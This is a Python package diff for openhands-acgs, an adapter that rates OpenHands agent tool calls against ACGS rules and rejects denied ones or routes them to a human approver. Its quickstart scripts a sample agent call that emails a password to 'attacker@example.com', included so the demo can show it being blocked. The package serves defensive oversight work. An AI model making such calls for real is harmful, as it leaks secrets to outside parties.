openhands-acgs 0.1.0__py3-none-any.whl

openhands_acgs/__init__.py

@@ -0,0 +1,18 @@
+# SPDX-FileCopyrightText: 2026-present ACGS Contributors
+#
+# SPDX-License-Identifier: Apache-2.0
+"""ACGS rule-based tool-call governance for OpenHands agents."""
+
+from openhands_acgs._governance import GovernanceDecision, Verdict, format_tool_call
+from openhands_acgs.analyzer import ACGSSecurityAnalyzer, Approver, PendingAction, install, resolve_confirmation
+
+__all__ = [
+    "ACGSSecurityAnalyzer",
+    "Approver",
+    "GovernanceDecision",
+    "PendingAction",
+    "Verdict",
+    "format_tool_call",
+    "install",
+    "resolve_confirmation",
+]

openhands_acgs/_governance.py

@@ -0,0 +1,310 @@
+# SPDX-FileCopyrightText: 2026-present ACGS Contributors
+#
+# SPDX-License-Identifier: Apache-2.0
+"""
+Framework-neutral evaluation of a single tool call against an ACGS constitution.
+
+This module only calls the public API of the ``acgs-lite`` package (``Constitution``,
+``GovernanceEngine.validate`` and the result types it returns). It turns one tool call
+into a text representation, validates that text, and maps the result to one of three
+verdicts that the framework adapters translate into native decisions.
+
+The evaluation never raises: any error is converted into a ``DENY`` verdict.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import re
+from collections.abc import Callable, Iterator, Mapping, Sequence
+from dataclasses import dataclass
+from enum import Enum
+from typing import Any
+
+from acgs_lite import (
+    Constitution,
+    ConstitutionalViolationError,
+    GovernanceEngine,
+    Rule,
+    ValidationResult,
+    ViolationAction,
+)
+
+logger = logging.getLogger(__name__)
+
+ToolCallFormatter = Callable[[str, Any], str]
+"""Signature of a function that renders ``(tool_name, arguments)`` as the text ACGS validates."""
+
+MAX_ARGUMENT_DEPTH = 32
+"""Nesting depth above which a tool call is rejected instead of being partially rendered."""
+
+_DENY_ACTIONS = frozenset({ViolationAction.BLOCK, ViolationAction.BLOCK_AND_NOTIFY, ViolationAction.HALT})
+_REVIEW_ACTIONS = frozenset({ViolationAction.REQUIRE_HUMAN_REVIEW, ViolationAction.ESCALATE})
+
+_CAMEL_BOUNDARY = re.compile(r"(?<=[a-z0-9])(?=[A-Z])")
+_SEPARATORS = re.compile(r"[\s_\-./:\[\]]+")
+_IDENTIFIER_VALUE = re.compile(r"^[A-Za-z][A-Za-z0-9]*(?:[_-][A-Za-z0-9]+|[A-Z][a-z0-9]+)+$")
+_MAX_IDENTIFIER_VALUE_LENGTH = 64
+
+
+class Verdict(str, Enum):  # noqa: UP042  # StrEnum needs Python 3.11; this module is shared with a 3.10 package
+    """Outcome of evaluating one tool call."""
+
+    ALLOW = "allow"
+    """No blocking rule matched. Warnings may still have been recorded."""
+
+    DENY = "deny"
+    """A blocking rule matched, or governance could not be evaluated."""
+
+    REVIEW = "review"
+    """Only review/escalation rules matched. A human must approve the call."""
+
+
+@dataclass(frozen=True)
+class GovernanceDecision:
+    """
+    Result of evaluating one tool call.
+
+    :param verdict: The verdict the adapter maps to a native framework decision.
+    :param tool_name: Name of the evaluated tool.
+    :param reason: Human-readable explanation. It names matched rules but never includes argument values.
+        For ``DENY`` it starts with ``Blocked by`` followed by the blocking rules only.
+    :param rule_ids: IDs of the blocking or review rules that matched, in match order.
+    :param warning_rule_ids: IDs of non-blocking (warn) rules that matched.
+    :param error: Set when the verdict is ``DENY`` because evaluation itself failed.
+    """
+
+    verdict: Verdict
+    tool_name: str
+    reason: str
+    rule_ids: tuple[str, ...] = ()
+    warning_rule_ids: tuple[str, ...] = ()
+    error: str | None = None
+
+
+def _humanize(identifier: str) -> str:
+    """Split an identifier such as ``skip_audit`` or ``disableLogging`` into lower-case words."""
+    spaced = _CAMEL_BOUNDARY.sub(" ", identifier)
+    return " ".join(_SEPARATORS.sub(" ", spaced).split()).lower()
+
+
+def _render_scalar(value: Any) -> str:
+    """Render a leaf value on a single line."""
+    if isinstance(value, str):
+        return " ".join(value.split())
+    if value is None or isinstance(value, bool | int | float):
+        return json.dumps(value)
+    return " ".join(str(value).split())
+
+
+def _flatten(value: Any, path: str, depth: int) -> Iterator[tuple[str, Any]]:
+    """Yield ``(dotted_path, leaf_value)`` pairs for nested mappings and sequences."""
+    if depth > MAX_ARGUMENT_DEPTH:
+        msg = f"Tool call arguments are nested deeper than {MAX_ARGUMENT_DEPTH} levels."
+        raise ValueError(msg)
+    if isinstance(value, Mapping):
+        if not value:
+            yield path, "{}"
+            return
+        for key in sorted(value, key=str):
+            child = f"{path}.{key}" if path else str(key)
+            yield from _flatten(value[key], child, depth + 1)
+    elif isinstance(value, Sequence) and not isinstance(value, str | bytes | bytearray):
+        if not value:
+            yield path, "[]"
+            return
+        for index, item in enumerate(value):
+            yield from _flatten(item, f"{path}[{index}]", depth + 1)
+    else:
+        yield path, value
+
+
+def format_tool_call(tool_name: str, arguments: Any) -> str:
+    r"""
+    Render a tool call as the text that ACGS keyword and pattern rules are matched against.
+
+    The output has one ``path: value`` line per argument leaf, so argument names and values are
+    both visible to rules, and multi-line values are collapsed onto one line. Identifiers
+    (the tool name, argument names and single-token string values) that contain separators or
+    camelCase are repeated in a trailing ``normalized:`` line as plain words, so that a rule
+    keyword such as ``skip audit`` also matches a tool named ``skip_audit``.
+
+    Example::
+
+        >>> print(format_tool_call("send_email", {"to": "a@example.com", "body": "Hi\nthere"}))
+        tool: send_email
+        arguments:
+        body: Hi there
+        to: a@example.com
+        normalized: send email
+
+    :param tool_name: Name of the tool the model wants to call.
+    :param arguments: The tool arguments, usually a mapping. Other values are rendered as ``input``.
+    :returns: The text passed to ``GovernanceEngine.validate``.
+    :raises ValueError: If the arguments are nested deeper than ``MAX_ARGUMENT_DEPTH``.
+    """
+    lines = [f"tool: {tool_name}", "arguments:"]
+    identifiers = [tool_name]
+    leaves = list(_flatten(arguments, "" if isinstance(arguments, Mapping) else "input", 0))
+    if isinstance(arguments, Mapping) and not arguments:
+        leaves = []
+    if not leaves:
+        lines.append("(none)")
+    for path, leaf in leaves:
+        rendered = _render_scalar(leaf)
+        lines.append(f"{path}: {rendered}")
+        identifiers.append(path)
+        if (
+            isinstance(leaf, str)
+            and len(rendered) <= _MAX_IDENTIFIER_VALUE_LENGTH
+            and _IDENTIFIER_VALUE.match(rendered)
+        ):
+            identifiers.append(rendered)
+    normalized: list[str] = []
+    for identifier in identifiers:
+        words = _humanize(identifier)
+        if words and words != identifier.lower() and words not in normalized:
+            normalized.append(words)
+    if normalized:
+        lines.append("normalized: " + " | ".join(normalized))
+    return "\n".join(lines)
+
+
+class ToolCallGovernor:
+    """
+    Evaluate tool calls against an ACGS constitution and return a ``GovernanceDecision``.
+
+    Verdict mapping, applied to the blocking violations of the validation result:
+
+    - no violations: ``ALLOW`` (matched warn-only rules are reported in ``warning_rule_ids``);
+    - every violation comes from a rule whose workflow action is ``require_human_review`` or
+      ``escalate_to_senior``: ``REVIEW``;
+    - anything else (``block``, ``block_and_notify``, ``halt_and_alert``, a rule ID that is not in
+      the constitution, an unknown action, or an invalid result without violations): ``DENY``.
+
+    A blocking rule is never downgraded to ``REVIEW`` because a review rule matched as well. In
+    that case the reason names only the blocking rules after ``Blocked by`` and lists the matched
+    review rules separately; ``rule_ids`` still contains every matched rule in match order.
+    Any exception raised while formatting or validating also yields ``DENY``.
+    """
+
+    def __init__(
+        self,
+        constitution: Constitution | None = None,
+        *,
+        agent_id: str,
+        tool_call_formatter: ToolCallFormatter | None = None,
+    ) -> None:
+        """
+        Create a governor.
+
+        :param constitution: The constitution to enforce. Defaults to ``Constitution.default()``.
+        :param agent_id: Agent identifier passed to ``GovernanceEngine.validate``.
+        :param tool_call_formatter: Optional replacement for ``format_tool_call``.
+        """
+        self.constitution = constitution if constitution is not None else Constitution.default()
+        self.agent_id = agent_id
+        self.tool_call_formatter = tool_call_formatter
+        self._engine = GovernanceEngine(self.constitution, strict=False)
+        self._rules: dict[str, Rule] = {rule.id: rule for rule in self.constitution.rules}
+
+    def evaluate(self, tool_name: str, arguments: Any) -> GovernanceDecision:
+        """
+        Evaluate one tool call. Never raises.
+
+        :param tool_name: Name of the tool the model wants to call.
+        :param arguments: The tool arguments.
+        :returns: The governance decision.
+        """
+        try:
+            formatter = self.tool_call_formatter or format_tool_call
+            action = formatter(tool_name, arguments)
+            if not isinstance(action, str) or not action.strip():
+                msg = "The tool call formatter must return a non-empty string."
+                raise TypeError(msg)
+            result = self._engine.validate(action, agent_id=self.agent_id, strict=False)
+            decision = self._decide(tool_name, result)
+        except ConstitutionalViolationError as error:
+            rule_id = error.rule_id or "unknown"
+            decision = GovernanceDecision(
+                verdict=Verdict.DENY,
+                tool_name=tool_name,
+                reason=f"ACGS rule {rule_id} halted the call.",
+                rule_ids=(rule_id,),
+            )
+        except Exception as error:
+            logger.warning(
+                "ACGS governance failed for tool '%s'; denying the call (fail-closed).", tool_name, exc_info=True
+            )
+            decision = GovernanceDecision(
+                verdict=Verdict.DENY,
+                tool_name=tool_name,
+                reason="ACGS governance could not evaluate this tool call, so it was denied.",
+                error=f"{type(error).__name__}: {error}",
+            )
+        self._log(decision)
+        return decision
+
+    def _workflow_action(self, rule_id: str) -> ViolationAction | None:
+        rule = self._rules.get(rule_id)
+        if rule is None:
+            return None
+        if rule.workflow_action is not None:
+            return rule.workflow_action
+        return ViolationAction.BLOCK if rule.severity.blocks() else ViolationAction.WARN  # pragma: no cover
+
+    def _decide(self, tool_name: str, result: ValidationResult) -> GovernanceDecision:
+        warnings = tuple(dict.fromkeys(w.rule_id for w in result.warnings))
+        rule_ids = tuple(dict.fromkeys(v.rule_id for v in result.violations))
+        if not rule_ids:
+            if result.valid:
+                return GovernanceDecision(
+                    verdict=Verdict.ALLOW,
+                    tool_name=tool_name,
+                    reason="No blocking ACGS rule matched.",
+                    warning_rule_ids=warnings,
+                )
+            return GovernanceDecision(
+                verdict=Verdict.DENY,
+                tool_name=tool_name,
+                reason="ACGS reported the call as invalid without naming a rule.",
+                warning_rule_ids=warnings,
+            )
+        review_ids = tuple(rule_id for rule_id in rule_ids if self._workflow_action(rule_id) in _REVIEW_ACTIONS)
+        blocking_ids = tuple(rule_id for rule_id in rule_ids if rule_id not in review_ids)
+        if not blocking_ids:
+            return GovernanceDecision(
+                verdict=Verdict.REVIEW,
+                tool_name=tool_name,
+                reason=f"Human review required by {self._describe(review_ids)}.",
+                rule_ids=rule_ids,
+                warning_rule_ids=warnings,
+            )
+        reason = f"Blocked by {self._describe(blocking_ids)}."
+        if review_ids:
+            reason += f" Review rules that also matched: {self._describe(review_ids)}."
+        return GovernanceDecision(
+            verdict=Verdict.DENY,
+            tool_name=tool_name,
+            reason=reason,
+            rule_ids=rule_ids,
+            warning_rule_ids=warnings,
+        )
+
+    def _describe(self, rule_ids: Sequence[str]) -> str:
+        """Join ``ACGS rule <id> (<text>)`` descriptions for ``rule_ids``; unknown IDs have no text."""
+        parts = []
+        for rule_id in rule_ids:
+            rule = self._rules.get(rule_id)
+            parts.append(f"ACGS rule {rule_id}" if rule is None else f"ACGS rule {rule_id} ({rule.text})")
+        return "; ".join(parts)
+
+    @staticmethod
+    def _log(decision: GovernanceDecision) -> None:
+        if decision.verdict is Verdict.ALLOW:
+            logger.debug("ACGS allowed tool '%s'.", decision.tool_name)
+        elif decision.verdict is Verdict.REVIEW:
+            logger.info("ACGS requires review for tool '%s': %s", decision.tool_name, decision.rule_ids)
+        else:
+            logger.info("ACGS denied tool '%s': %s", decision.tool_name, decision.rule_ids or decision.error)

openhands_acgs/analyzer.py

@@ -0,0 +1,209 @@
+# SPDX-FileCopyrightText: 2026-present ACGS Contributors
+#
+# SPDX-License-Identifier: Apache-2.0
+"""ACGS governance for OpenHands agents: a security analyzer plus a confirmation helper."""
+
+from __future__ import annotations
+
+import json
+import logging
+from collections.abc import Callable, Sequence
+from dataclasses import dataclass
+from typing import Any, Literal
+
+from acgs_lite import Constitution
+from openhands.sdk.conversation import BaseConversation
+from openhands.sdk.conversation.state import ConversationState
+from openhands.sdk.event import ActionEvent
+from openhands.sdk.security.analyzer import SecurityAnalysis, SecurityAnalyzerBase
+from openhands.sdk.security.confirmation_policy import ConfirmRisky
+from openhands.sdk.security.risk import SecurityRisk
+from pydantic import Field, PrivateAttr
+
+from openhands_acgs._governance import GovernanceDecision, ToolCallGovernor, Verdict
+
+logger = logging.getLogger(__name__)
+
+_RISK_FOR_VERDICT = {
+    Verdict.ALLOW: SecurityRisk.LOW,
+    Verdict.REVIEW: SecurityRisk.HIGH,
+    Verdict.DENY: SecurityRisk.HIGH,
+}
+_NO_REVIEWER = "No reviewer was configured, so it was not executed."
+_REVIEW_DISABLED = "Review is turned off (on_review='deny'), so it was denied."
+_REVIEWER_DECLINED = "The reviewer did not approve it, so it was not executed."
+_REVIEWER_FAILED = "The reviewer raised an error, so it was not executed."
+_BATCH_NOTE = "OpenHands rejects every pending action in the batch, so none of them ran."
+
+
+@dataclass(frozen=True)
+class PendingAction:
+    """One action that is waiting for confirmation, with its ACGS decision."""
+
+    action: ActionEvent
+    """The OpenHands action event."""
+
+    decision: GovernanceDecision
+    """What ACGS decided for this action."""
+
+
+Approver = Callable[[Sequence[PendingAction]], bool]
+"""Called with every pending action when none is denied; returns ``True`` only to run them all."""
+
+
+class ACGSSecurityAnalyzer(SecurityAnalyzerBase):
+    """Rate each OpenHands action with an ACGS constitution.
+
+    ``security_risk`` returns ``HIGH`` for an action that ACGS denies or wants a person to review, and for any action
+    it cannot evaluate. It returns ``LOW`` otherwise. The analyzer never stops an action itself: OpenHands pauses a
+    ``HIGH`` action only when the conversation's confirmation policy asks for it (``ConfirmRisky()`` does; the
+    default ``NeverConfirm()`` does not). Use ``install`` to set both, and ``resolve_confirmation`` to reject what
+    ACGS denies while the conversation is paused.
+
+    The analysis details hold the verdict, the matched rule IDs and the reason, never the action's arguments.
+    """
+
+    constitution: Constitution = Field(
+        default_factory=Constitution.default,
+        description="The ACGS rules to apply. Defaults to the acgs-lite default constitution.",
+    )
+    agent_id: str = Field(default="openhands", description="The agent ID passed to the ACGS engine.")
+    on_review: Literal["confirm", "deny"] = Field(
+        default="confirm",
+        description=(
+            "'confirm' lets resolve_confirmation ask the approver about review-only matches; 'deny' rejects them."
+        ),
+    )
+
+    _governor: ToolCallGovernor = PrivateAttr()
+
+    def model_post_init(self, context: Any, /) -> None:
+        """Build the ACGS engine for the configured constitution."""
+        super().model_post_init(context)
+        self._governor = ToolCallGovernor(self.constitution, agent_id=self.agent_id)
+
+    def evaluate(self, tool_name: str, arguments: Any) -> GovernanceDecision:
+        """Evaluate one tool call without running it. Never raises; errors give ``DENY``."""
+        return self._governor.evaluate(tool_name, arguments)
+
+    def evaluate_action(self, action: ActionEvent) -> GovernanceDecision:
+        """Evaluate an OpenHands action event. Never raises; errors give ``DENY``."""
+        try:
+            name = str(action.tool_name)
+            arguments = _arguments(action)
+        except Exception as error:
+            logger.warning("ACGS could not read an OpenHands action; treating it as denied", exc_info=True)
+            return GovernanceDecision(
+                verdict=Verdict.DENY,
+                tool_name=str(getattr(action, "tool_name", "unknown")),
+                reason="ACGS governance could not evaluate this tool call, so it was denied.",
+                error=f"{type(error).__name__}: {error}",
+            )
+        return self.evaluate(name, arguments)
+
+    def security_risk(self, action: ActionEvent) -> SecurityRisk:
+        """Return ``HIGH`` for an ACGS deny or review (or any error), ``LOW`` for an allow."""
+        return self.analyze_action(action).risk
+
+    def analyze_action(self, action: ActionEvent) -> SecurityAnalysis:
+        """Return the risk plus the ACGS verdict, rule IDs and reason (no argument values)."""
+        decision = self.evaluate_action(action)
+        details: dict[str, Any] = {
+            "acgs_verdict": decision.verdict.value,
+            "acgs_rule_ids": list(decision.rule_ids),
+            "acgs_reason": decision.reason,
+        }
+        if decision.error is not None:
+            details["acgs_error"] = decision.error
+        return SecurityAnalysis(risk=_RISK_FOR_VERDICT[decision.verdict], details=details)
+
+
+def install(conversation: BaseConversation, analyzer: ACGSSecurityAnalyzer | None = None) -> ACGSSecurityAnalyzer:
+    """Set the ACGS analyzer and a ``ConfirmRisky()`` policy (pause on ``HIGH`` or ``UNKNOWN``) on a conversation.
+
+    Args:
+        conversation: The OpenHands conversation.
+        analyzer: The analyzer to use. Defaults to ``ACGSSecurityAnalyzer()``.
+
+    Returns:
+        The analyzer that was set.
+    """
+    analyzer = analyzer if analyzer is not None else ACGSSecurityAnalyzer()
+    conversation.set_security_analyzer(analyzer)
+    conversation.set_confirmation_policy(ConfirmRisky(threshold=SecurityRisk.HIGH, confirm_unknown=True))
+    return analyzer
+
+
+def resolve_confirmation(
+    conversation: BaseConversation,
+    analyzer: ACGSSecurityAnalyzer,
+    approve: Approver | None = None,
+) -> bool:
+    """Decide what to do with the actions a paused conversation is waiting on.
+
+    Call this when ``conversation.state.execution_status`` is ``WAITING_FOR_CONFIRMATION``. Every pending action is
+    evaluated again with ``analyzer``:
+
+    - if any action is denied (or is a review-only match and ``on_review="deny"``), all pending actions are rejected
+      with ``reject_pending_actions`` and the reason is sent back to the agent;
+    - otherwise ``approve`` is called with all pending actions. Only a return value of ``True`` approves them. If
+      there is no approver, it returns anything else, or it raises, all pending actions are rejected.
+
+    Args:
+        conversation: The paused OpenHands conversation.
+        analyzer: The ACGS analyzer whose rules apply.
+        approve: Optional callback that asks a person about the pending actions.
+
+    Returns:
+        ``True`` if the caller should call ``conversation.run()`` to execute the pending actions; ``False`` if they
+        were rejected (calling ``run()`` again then lets the agent continue without them).
+    """
+    events = conversation.state.events
+    unmatched = ConversationState.get_unmatched_actions(events)
+    pending = [PendingAction(action, analyzer.evaluate_action(action)) for action in unmatched]
+    if not pending:
+        return True
+
+    blocked = [item for item in pending if _blocks(item.decision, analyzer)]
+    if blocked:
+        reasons = " ".join(_blocked_reason(item.decision) for item in blocked)
+        _reject(conversation, f"{reasons} {_BATCH_NOTE}")
+        return False
+
+    if approve is None:
+        _reject(conversation, f"ACGS: these tool calls need confirmation. {_NO_REVIEWER}")
+        return False
+    try:
+        approved = approve(pending) is True
+    except Exception:
+        logger.warning("ACGS approver raised; rejecting the pending actions", exc_info=True)
+        _reject(conversation, f"ACGS: {_REVIEWER_FAILED}")
+        return False
+    if not approved:
+        _reject(conversation, f"ACGS: {_REVIEWER_DECLINED}")
+        return False
+    return True
+
+
+def _arguments(action: ActionEvent) -> Any:
+    if action.action is not None:
+        return action.action.model_dump(mode="json", exclude={"kind"})
+    return json.loads(action.tool_call.arguments)
+
+
+def _blocks(decision: GovernanceDecision, analyzer: ACGSSecurityAnalyzer) -> bool:
+    if decision.verdict is Verdict.DENY:
+        return True
+    return decision.verdict is Verdict.REVIEW and analyzer.on_review == "deny"
+
+
+def _blocked_reason(decision: GovernanceDecision) -> str:
+    reason = f"Tool call '{decision.tool_name}' was not executed. {decision.reason}"
+    if decision.verdict is Verdict.REVIEW:
+        reason = f"{reason} {_REVIEW_DISABLED}"
+    return reason
+
+
+def _reject(conversation: BaseConversation, reason: str) -> None:
+    logger.info("ACGS rejected the pending OpenHands actions")
+    conversation.reject_pending_actions(reason)

openhands_acgs-0.1.0.dist-info/METADATA

@@ -0,0 +1,426 @@
+Metadata-Version: 2.5
+Name: openhands-acgs
+Version: 0.1.0
+Summary: ACGS rule-based tool-call governance for OpenHands agents, via a security analyzer
+Project-URL: Homepage, https://github.com/acgs-ai/openhands-acgs
+Project-URL: Documentation, https://github.com/acgs-ai/openhands-acgs#readme
+Project-URL: Repository, https://github.com/acgs-ai/openhands-acgs
+Project-URL: Issues, https://github.com/acgs-ai/openhands-acgs/issues
+Project-URL: Changelog, https://github.com/acgs-ai/openhands-acgs/blob/main/CHANGELOG.md
+Author: Martin Lyu
+License-Expression: Apache-2.0
+License-File: LICENSE
+Keywords: acgs,agents,ai,governance,human-in-the-loop,openhands,security-analyzer,tool-calls
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
+Classifier: Typing :: Typed
+Requires-Python: <3.15,>=3.12
+Requires-Dist: acgs-lite<4,>=3.0.1
+Requires-Dist: openhands-sdk<2,>=1.54.0
+Description-Content-Type: text/markdown
+
+# openhands-acgs
+
+[![CI](https://github.com/acgs-ai/openhands-acgs/actions/workflows/ci.yml/badge.svg)](https://github.com/acgs-ai/openhands-acgs/actions/workflows/ci.yml)
+[![PyPI](https://img.shields.io/pypi/v/openhands-acgs.svg)](https://pypi.org/project/openhands-acgs/)
+[![Python](https://img.shields.io/pypi/pyversions/openhands-acgs.svg)](https://pypi.org/project/openhands-acgs/)
+
+`openhands-acgs` checks [OpenHands Software Agent SDK](https://github.com/OpenHands/software-agent-sdk) actions
+against [ACGS](https://pypi.org/project/acgs-lite/) constitution rules before they run. It has two parts:
+
+- `ACGSSecurityAnalyzer`, an OpenHands security analyzer. It rates an action `HIGH` risk when ACGS denies it,
+  when it needs a person to review it, or when it cannot be evaluated, and `LOW` otherwise.
+- `resolve_confirmation`, a helper for the moment OpenHands pauses for confirmation. It rejects the pending
+  actions if ACGS denies any of them, and otherwise asks your approver.
+
+The package is a thin adapter over the public `acgs-lite` API.
+
+> [!NOTE]
+> This is a community package. It is not part of OpenHands and is not maintained, reviewed or endorsed by the
+> OpenHands maintainers.
+
+## Installation
+
+```bash
+pip install openhands-acgs
+```
+
+Requires Python 3.12 to 3.14, `openhands-sdk>=1.54.0,<2` and `acgs-lite>=3.0.1,<4`. openhands-sdk 1.54.0 is the
+first release whose analyzers can attach details to a risk (`SecurityAnalysis`).
+
+## A risk signal plus confirmation, not a hard block
+
+In OpenHands a security analyzer does not stop anything by itself. It rates each action, and the conversation's
+confirmation policy decides whether the agent pauses (`WAITING_FOR_CONFIRMATION`). What happens next is up to
+your code: calling `conversation.run()` again runs the pending actions, and
+`conversation.reject_pending_actions(reason)` rejects them.
+
+This has two consequences:
+
+- With OpenHands' default policy, `NeverConfirm()`, the analyzer is only advisory: a `HIGH` action still runs.
+  Set a policy that pauses on `HIGH`, such as `ConfirmRisky()`.
+- A pause is not a denial. ACGS denials are enforced only if your code calls `resolve_confirmation` (or rejects
+  the actions some other way) before it calls `run()` again.
+
+The recommended setup, which is what `install(conversation)` does:
+
+```python
+from openhands.sdk.security.confirmation_policy import ConfirmRisky
+from openhands.sdk.security.risk import SecurityRisk
+
+from openhands_acgs import ACGSSecurityAnalyzer
+
+analyzer = ACGSSecurityAnalyzer()
+conversation.set_security_analyzer(analyzer)
+conversation.set_confirmation_policy(ConfirmRisky(threshold=SecurityRisk.HIGH, confirm_unknown=True))
+```
+
+and a run loop that lets ACGS decide whenever the agent pauses:
+
+```python
+from openhands.sdk.conversation.state import ConversationExecutionStatus
+
+from openhands_acgs import resolve_confirmation
+
+
+def ask_a_person(pending):
+    # pending: PendingAction items with .action (the OpenHands ActionEvent) and .decision (the ACGS decision).
+    # Return True only to run all of them.
+    return False
+
+
+def run_governed(conversation, analyzer):
+    conversation.run()
+    while conversation.state.execution_status == ConversationExecutionStatus.WAITING_FOR_CONFIRMATION:
+        resolve_confirmation(conversation, analyzer, ask_a_person)
+        conversation.run()
+```
+
+A stricter policy such as `AlwaysConfirm()` also works: `resolve_confirmation` still rejects ACGS denials and
+passes every other pending action to the approver.
+
+## Usage
+
+```python
+from openhands_acgs import install
+
+# conversation is an OpenHands Conversation (for example Conversation(agent=agent, workspace=".")).
+analyzer = install(conversation)  # ACGSSecurityAnalyzer() plus ConfirmRisky()
+```
+
+Then run the conversation with a loop like `run_governed` above.
+
+## Quickstart
+
+`examples/quickstart.py` runs offline. OpenHands' scripted `TestLLM` stands in for a real model. Run it with
+`OPENHANDS_SUPPRESS_BANNER=1 LOG_LEVEL=WARNING python examples/quickstart.py`:
+
+```python
+"""Run an OpenHands agent offline with ACGS: an allowed email, a blocked email and a refund that a person approves."""
+
+from __future__ import annotations
+
+import json
+import tempfile
+from collections.abc import Sequence
+
+from acgs_lite import Constitution, Rule, Severity, ViolationAction
+from openhands.sdk import (
+    Action,
+    Agent,
+    BaseConversation,
+    ImageContent,
+    LocalConversation,
+    Message,
+    Observation,
+    TextContent,
+    ToolDefinition,
+)
+from openhands.sdk.conversation.state import ConversationExecutionStatus
+from openhands.sdk.event import UserRejectObservation
+from openhands.sdk.llm import MessageToolCall
+from openhands.sdk.testing import TestLLM
+from openhands.sdk.tool import Tool, ToolExecutor, register_tool
+from pydantic import Field
+
+from openhands_acgs import ACGSSecurityAnalyzer, PendingAction, install, resolve_confirmation
+
+
+class SendEmailAction(Action):
+    to: str = Field(description="Recipient address")
+    body: str = Field(description="Message text")
+
+
+class IssueRefundAction(Action):
+    order_id: str = Field(description="Order to refund")
+    amount: float = Field(description="Amount to refund")
+
+
+class Done(Observation):
+    @property
+    def to_llm_content(self) -> Sequence[TextContent | ImageContent]:
+        return [TextContent(text="done")]
+
+
+class Run(ToolExecutor[Action, Done]):
+    def __call__(self, action: Action, conversation: LocalConversation | None = None) -> Done:
+        if isinstance(action, SendEmailAction):
+            print(f"ran: send_email to {action.to}")
+        elif isinstance(action, IssueRefundAction):
+            print(f"ran: issue_refund {action.order_id}")
+        return Done()
+
+
+class SendEmailTool(ToolDefinition[SendEmailAction, Done]):
+    @classmethod
+    def create(cls, *args: object, **kwargs: object) -> Sequence[SendEmailTool]:
+        return [cls(description="Send an email.", action_type=SendEmailAction, observation_type=Done, executor=Run())]
+
+
+class IssueRefundTool(ToolDefinition[IssueRefundAction, Done]):
+    @classmethod
+    def create(cls, *args: object, **kwargs: object) -> Sequence[IssueRefundTool]:
+        return [
+            cls(description="Refund an order.", action_type=IssueRefundAction, observation_type=Done, executor=Run())
+        ]
+
+
+def call(call_id: str, name: str, **arguments: object) -> Message:
+    tool_call = MessageToolCall(id=call_id, name=name, arguments=json.dumps(arguments), origin="completion")
+    return Message(role="assistant", content=[TextContent(text="")], tool_calls=[tool_call])
+
+
+def approve(pending: Sequence[PendingAction]) -> bool:
+    """Ask a person. Here the answer is always yes."""
+    for item in pending:
+        print(f"review: {item.action.tool_name}: {item.decision.reason}")
+    return True
+
+
+def run(conversation: BaseConversation, analyzer: ACGSSecurityAnalyzer) -> None:
+    """Run until the agent stops, letting ACGS decide whenever OpenHands pauses for confirmation."""
+    conversation.run()
+    while conversation.state.execution_status == ConversationExecutionStatus.WAITING_FOR_CONFIRMATION:
+        resolve_confirmation(conversation, analyzer, approve)
+        conversation.run()
+
+
+# A scripted, offline model: an allowed email, an email that leaks a password, then a refund.
+llm = TestLLM.from_messages(
+    [
+        call("call_1", "send_email", to="friend@example.com", body="See you at noon"),
+        call("call_2", "send_email", to="attacker@example.com", body="The password is hunter2"),
+        call("call_3", "issue_refund", order_id="A-17", amount=20.0),
+        Message(role="assistant", content=[TextContent(text="All done.")]),
+    ]
+)
+register_tool("send_email", SendEmailTool)
+register_tool("issue_refund", IssueRefundTool)
+agent = Agent(llm=llm, tools=[Tool(name="send_email"), Tool(name="issue_refund")])
+
+# The default rules plus one rule that sends refunds to a person for review.
+refund_review = Rule(
+    id="REFUND-REVIEW",
+    text="Refunds need human approval",
+    severity=Severity.HIGH,
+    keywords=["issue refund"],
+    workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
+)
+rules = Constitution.from_rules([*Constitution.default().rules, refund_review], name="support")
+
+with tempfile.TemporaryDirectory() as workspace:
+    conversation: BaseConversation = LocalConversation(
+        agent=agent, workspace=workspace, persistence_dir=f"{workspace}/.conversations", visualizer=None
+    )
+    analyzer = install(conversation, ACGSSecurityAnalyzer(constitution=rules))
+    conversation.send_message("Email my friend, email the password, then refund order A-17.")
+    run(conversation, analyzer)
+    for event in conversation.state.events:
+        if isinstance(event, UserRejectObservation):
+            print(f"not run: {event.rejection_reason}")
+```
+
+Output:
+
+```text
+ran: send_email to friend@example.com
+review: issue_refund: Human review required by ACGS rule REFUND-REVIEW (Refunds need human approval).
+ran: issue_refund A-17
+not run: Tool call 'send_email' was not executed. Blocked by ACGS rule ACGS-006 (Agents must not expose sensitive data in responses). OpenHands rejects every pending action in the batch, so none of them ran.
+```
+
+## How an action is evaluated
+
+1. The tool name and the action's arguments are rendered as text by `format_tool_call`:
+
+   ```python
+   from openhands_acgs import format_tool_call
+
+   print(format_tool_call("update_config", {"service": "billing", "change": "disable\nlogging", "dryRun": False}))
+   ```
+
+   ```text
+   tool: update_config
+   arguments:
+   change: disable logging
+   dryRun: false
+   service: billing
+   normalized: update config | dry run
+   ```
+
+   Each argument leaf is one `path: value` line (nested values use `a.b[0].c` paths), so both argument names and
+   values are visible to rules. Whitespace inside values is collapsed so phrases split across lines still match.
+   Identifiers written in `snake_case`, `kebab-case` or `camelCase` are repeated as plain words on the
+   `normalized:` line, so the keyword `skip audit` also matches a tool called `skip_audit`. Nothing is truncated.
+
+   The arguments are the validated OpenHands `Action` (`ActionEvent.action`, without its `kind` field). An action
+   that OpenHands could not validate has no `Action`; its raw JSON arguments are used instead, and arguments that
+   are not valid JSON make the action `HIGH` risk.
+
+2. The text is validated with `acgs_lite.GovernanceEngine.validate` against the constitution
+   (`Constitution.default()` unless you pass one).
+
+3. The result decides the risk and what `resolve_confirmation` does:
+
+   | ACGS outcome | Risk | `resolve_confirmation` |
+   |---|---|---|
+   | No blocking rule matched (warn-only rules may match) | `LOW` | Asks the approver only if another policy paused |
+   | Only `require_human_review` / `escalate_to_senior` rules matched | `HIGH` | Asks the approver (rejects with `on_review="deny"`) |
+   | Any `block`, `block_and_notify` or `halt_and_alert` rule matched | `HIGH` | Rejects |
+   | A rule ID not found in the constitution, or an invalid result without a rule | `HIGH` | Rejects |
+   | Any exception while reading or evaluating the action | `HIGH` | Rejects |
+
